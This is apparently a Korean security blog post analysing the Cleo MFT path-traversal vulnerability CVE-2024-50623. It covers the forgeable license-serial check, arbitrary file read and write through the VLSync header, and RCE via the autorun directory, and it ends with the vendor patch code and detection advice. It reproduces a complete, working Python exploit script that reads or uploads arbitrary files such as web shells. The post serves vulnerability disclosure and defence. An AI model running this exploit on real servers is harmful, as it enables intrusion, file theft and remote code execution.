1. Cleo
- 데이터 통합 및 관리형 파일 전송 솔루션(MFT)을 제공하는 글로벌 소프트웨어 기업 [1]
2. 취약점
2.1 CVE-2024-50623
- Cleo MFT SW에서 발생하는 파일 읽기/쓰기 취약점
> 24.10 적용된 패치에 대한 우회를 허용하는 Zero-Day 취약점으로 공격에 악용되는 중
영향받는 버전
- Cleo Harmony < 5.8.0.21
- Cleo VLTrader < 5.8.0.21
- Cleo LexiCom < 5.8.0.21
2.2 상세내용
- 취약점은 /Synchronization 엔드포인트에서 발생
> 클러스터 노드 간 파일 동기화를 처리하는 엔드포인트
- syncIn 메소드는 /Synchronization으로 들어온 HTTP 요청을 핸들링
> 다음 형식을 갖는 "SYNC_HEADER(”VLSync”)" 헤더를 찾을 경우 이를 파싱해 Retrieve, l, v, n 등의 파라미터를 가져옴
> 각각의 매개변수는 명령(Retrieve), l(라이선스 시리얼번호), v(버전), n(소프트웨어 이름)
public int syncIn(HttpServletRequest httpRequest, HttpServletResponse httpResponse) {
int statusCode = 500;
InputStream in = null;
int len = 0;
try {
in = httpRequest.getInputStream();
len = httpRequest.getContentLength();
boolean found = false;
Enumeration headers = httpRequest.getHeaderNames();
while(headers.hasMoreElements()) {
String header = (String)headers.nextElement();
if (header.equalsIgnoreCase(SYNC_HEADER)) {
found = true;
String value = httpRequest.getHeader(header);
String serialNumber = getDecodedParameterValue(value, "l", true);
if (hasToken(value, START)) {
// ... omitted ...
break;
}
if (!hasToken(value, ADD) && !hasToken(value, UPDATE) && !hasToken(value, REMOVE)) {
VLSync: Retrieve;l=Ab1234-RQ0258;n=VLTrader;v=5.7.0.0
- 매개변수 중 l은 islValid 메소드를 통해 유효성 검증
> 유효성 검증은 6번째 문자가 '-'인 13자리인지 확인한 후 문자열을 비교하는 단순한 형태로 이루어짐
> License.scramble(serialNumber.substring(0, 6)).equals(serialNumber.substring(7))를 만족하는 형태의 시리얼 넘버를 직접 생성해 사용할 수 있음
protected static boolean islValid(String serialNumber) {
if (serialNumber == null) {
return false;
} else if (serialNumber.length() == 13 && serialNumber.charAt(6) == '-') {
if (!License.scramble(serialNumber.substring(0, 6)).equals(serialNumber.substring(7))) {
return false;
}
}
// ... further code omitted ..
}
public static String scramble(String serial) {
int shift = 0;
for(int i = 0; i < serial.length(); ++i) {
shift ^= serial.charAt(i);
}
StringBuffer sb = new StringBuffer(serial);
sb.setCharAt(0, shiftLetter(Character.toUpperCase(sb.charAt(0)), shift + 4));
sb.setCharAt(1, shiftLetter(Character.toUpperCase(sb.charAt(1)), shift + 2));
sb.setCharAt(2, shiftNumber(sb.charAt(2), shift));
sb.setCharAt(3, shiftNumber(sb.charAt(3), shift + 1));
sb.setCharAt(4, shiftNumber(sb.charAt(4), shift + 3));
sb.setCharAt(5, shiftNumber(sb.charAt(5), shift + 5));
return sb.toString();
}
2.3 파일 읽기
- 명령이 Retrieve인 경우 retrieve 메소드에서 해당 명령을 처리
> VLSync 헤더에서 path 파라미터를 가져와 fetchLocalFile에 path가 지정한 경로에 있는 파일을 읽어 응답으로 반환
> 이때, path 값에 대한 검증을 수행하지 않아 "../" 등의 디렉터리 이동 문자열을 이용할 수 있음
private int retrieve(String header, HttpServletResponse httpResponse) {
String serialNumber = getDecodedParameterValue(header, VLAdminCLI.LIST_FLAG, true);
// ... omitted ...
String path = fixPath(getParameterValue(header, "path", false));
// ... omitted ...
if (statusCode == 200) {
try {
byte[] bytes = fetchLocalFile(path, LexBean.decrypt(tempPassphrase));
fireRetrieveEvent(path);
statusCode = 200;
httpResponse.setStatus(200);
httpResponse.setContentLength(bytes.length);
httpResponse.setHeader("Connection", "close");
ServletOutputStream outputStream = httpResponse.getOutputStream();
outputStream.write(bytes);
outputStream.close();
} catch (FileNotFoundException e) {
statusCode = 404;
} catch (Exception ex) {
// ... omitted ...
}
}
return statusCode;
}
2.4 파일 쓰기
- ADD 명령을 사용해 임의의 파일을 쓸 수 있음
> fileIn 메소드에서 ADD 명령을 처리
> path 파라미터를 파싱하며, 이는 쓸 파일의 경로를 지정하며, 이후 파일의 존재 여부와 쓰기가 가능한지 확인
private int fileIn(String header, InputStream in, int length) throws Exception {
int statusCode = 200;
String serialNumber = getDecodedParameterValue(header, "l", true);
// ... omitted ...
String path = this.fixPath(getParameterValue(header, "path", false));
// ... omitted ...
if (file.exists() && !file.canWrite()) {
statusCode = 403;
} else {
- 위 검사를 통과하면 아래 코드가 실행되어 지정된 경로의 파일에 쓰이게 됨
> 파일 읽기와 마찬가지로 "../" 등의 디렉터리 이동 문자열을 사용해 임의 파일 쓰기가 가능
> 임의 파일 쓰기를 사용해 autorun 디렉터리(자동 실행 관련 디렉터리)에 파일을 업로드하여 RCE를 수행
OutputStream out = LexIO.getFileOutputStream(otherFile, false, true, false);
if (length > 0) {
LexiCom.copy((InputStream)in, out);
}
((InputStream)in).close();
out.close();
3. PoC
- /Synchronization URL 및 VLSync 헤더를 설정하여 익스플로잇 [3]
banner = """ __ ___ ___________
__ _ ______ _/ |__ ____ | |_\\__ ____\\____ _ ________
\\ \\/ \\/ \\__ \\ ___/ ___\\| | \\| | / _ \\ \\/ \\/ \\_ __ \\
\\ / / __ \\| | \\ \\___| Y | |( <_> \\ / | | \\/
\\/\\_/ (____ |__| \\___ |___|__|__ | \\__ / \\/\\_/ |__|
\\/ \\/ \\/
CVE-2024-50623.py
(*) Cleo Unrestricted file upload and download vulnerability (CVE-2024-50623)
- Sonny and Sina Kheirkhah (@SinSinology) of watchTowr (sina@watchTowr.com)
CVEs: [CVE-2024-50623] """
import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning)
import requests
requests.packages.urllib3.disable_warnings()
import argparse
print(banner)
parser = argparse.ArgumentParser(usage="""python CVE-2024-50623 --target http://192.168.1.1/ --action read_or_write --where ..\\..\\pwned.txt --what shell.dll_jsp_xml_txt_zip""", description="Cleo Unrestricted file upload and download vulnerability (CVE-2024-50623)")
parser.add_argument("--target", help="Target URL", required=True)
parser.add_argument("--action", help="Action to perform", choices=['write', 'read'], required=True)
parser.add_argument("--where", help="File to write or read", required=True)
parser.add_argument("--what", help="local file to upload", required=False)
args = parser.parse_args()
args.target = args.target.rstrip('/')
s = requests.Session()
s.verify = False
def extract_version(target):
r = s.get(f"{target}/Synchronization")
version = r.headers['Server'].split('/')[1].split(' ')[0]
return version
def read_file(target, where, target_version):
headers = {
'VLSync': f"Retrieve;l=Ab1234-RQ0258;n=VLTrader;v={target_version};a=1337;po=1337;s=True;b=False;pp=1337;path={where}"
}
r = s.get(f"{target}/Synchronization", headers=headers)
if(r.status_code == 200):
print(r.text)
else:
print("[ERROR] Failed to read the file")
def write_file(target, where, what, target_version):
headers = {
'VLSync': f"ADD;l=Ab1234-RQ0258;n=VLTrader;v={target_version};a=1337;po=1337;s=True;b=False;pp=1337;path={where}"
}
r = s.post(f"{target}/Synchronization", headers=headers, data=what)
if(r.status_code == 200):
print("[INFO] File written successfully")
else:
print("[ERROR] Failed to write the file")
if(args.action == 'read'):
read_file(args.target, args.where, extract_version(args.target))
elif(args.action == 'write'):
if(args.what == None):
print("[ERROR] --what is required for write action")
exit(1)
write_file(args.target, args.where, open(args.what,"rb").read(), extract_version(args.target))
else:
print("[ERROR] Invalid action")
exit(1)
4. 대응방안
- 벤더사 제공 업데이트 적용 [4]
> validatePath()를 추가해 path 파라미터에 대한 검증 추가
protected int validatePath(String path) {
try {
if (!Strings.isNullOrEmpty(path)) {
URI uri = new URI(path);
if (!Strings.isNullOrEmpty(uri.getScheme())) {
return ServiceException.REMOTE_IO_EXCEPTION;
}
}
} catch (URISyntaxException e) {
}
String path2 = FilenameUtils.normalize(path);
if (Strings.isNullOrEmpty(path2)) {
return ServiceException.REMOTE_IO_EXCEPTION;
}
String relativePath = LexIO.getRelative(path2);
if (relativePath.startsWith("/") || relativePath.startsWith("\\") || new File(path2).isAbsolute()) {
return ServiceException.REMOTE_IO_EXCEPTION;
}
String relativePath2 = relativePath.toLowerCase().replace("\\", "/");
for (String rootpath : UNPROTECTED_PATHS) {
if (relativePath2.startsWith(rootpath)) {
return 200;
}
}
for (String rootpath2 : PROTECTED_PATHS) {
if (relativePath2.startsWith(rootpath2)) {
return ServiceException.REMOTE_IO_EXCEPTION;
}
}
return 200;
}
- autorun 설정 비활성화 [5]
- /Synchronization URL 및 VLSync 헤더에 대한 보안 장비 탐지 규칙 적용
- 접근 제한, 관련 디렉터리 및 로그 점검, 악성 파일 삭제 등 조치 권고
5. 참고
[1] https://support.cleo.com/hc/en-us
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-50623
[3] https://github.com/watchtowrlabs/CVE-2024-50623?ref=labs.watchtowr.com
[6] https://labs.watchtowr.com/cleo-cve-2024-50623/
[7] https://www.dailysecu.com/news/articleView.html?idxno=162064
'취약점 > File Up&Download, Inclusion' 카테고리의 다른 글
Apache Struts 파일 업로드 취약점 (CVE-2023-50164) (1) | 2023.12.18 |
---|---|
이니텍 INISAFE CrossWeb EX V3 파일 다운로드 취약점 (0) | 2023.03.31 |
VMware vCenter Server 파일 업로드 취약점 (CVE-2021-21972) (0) | 2023.01.15 |
File Upload 취약점_webshell 추가 (0) | 2022.10.12 |
File Inclusion (DVWA실습) (0) | 2022.10.12 |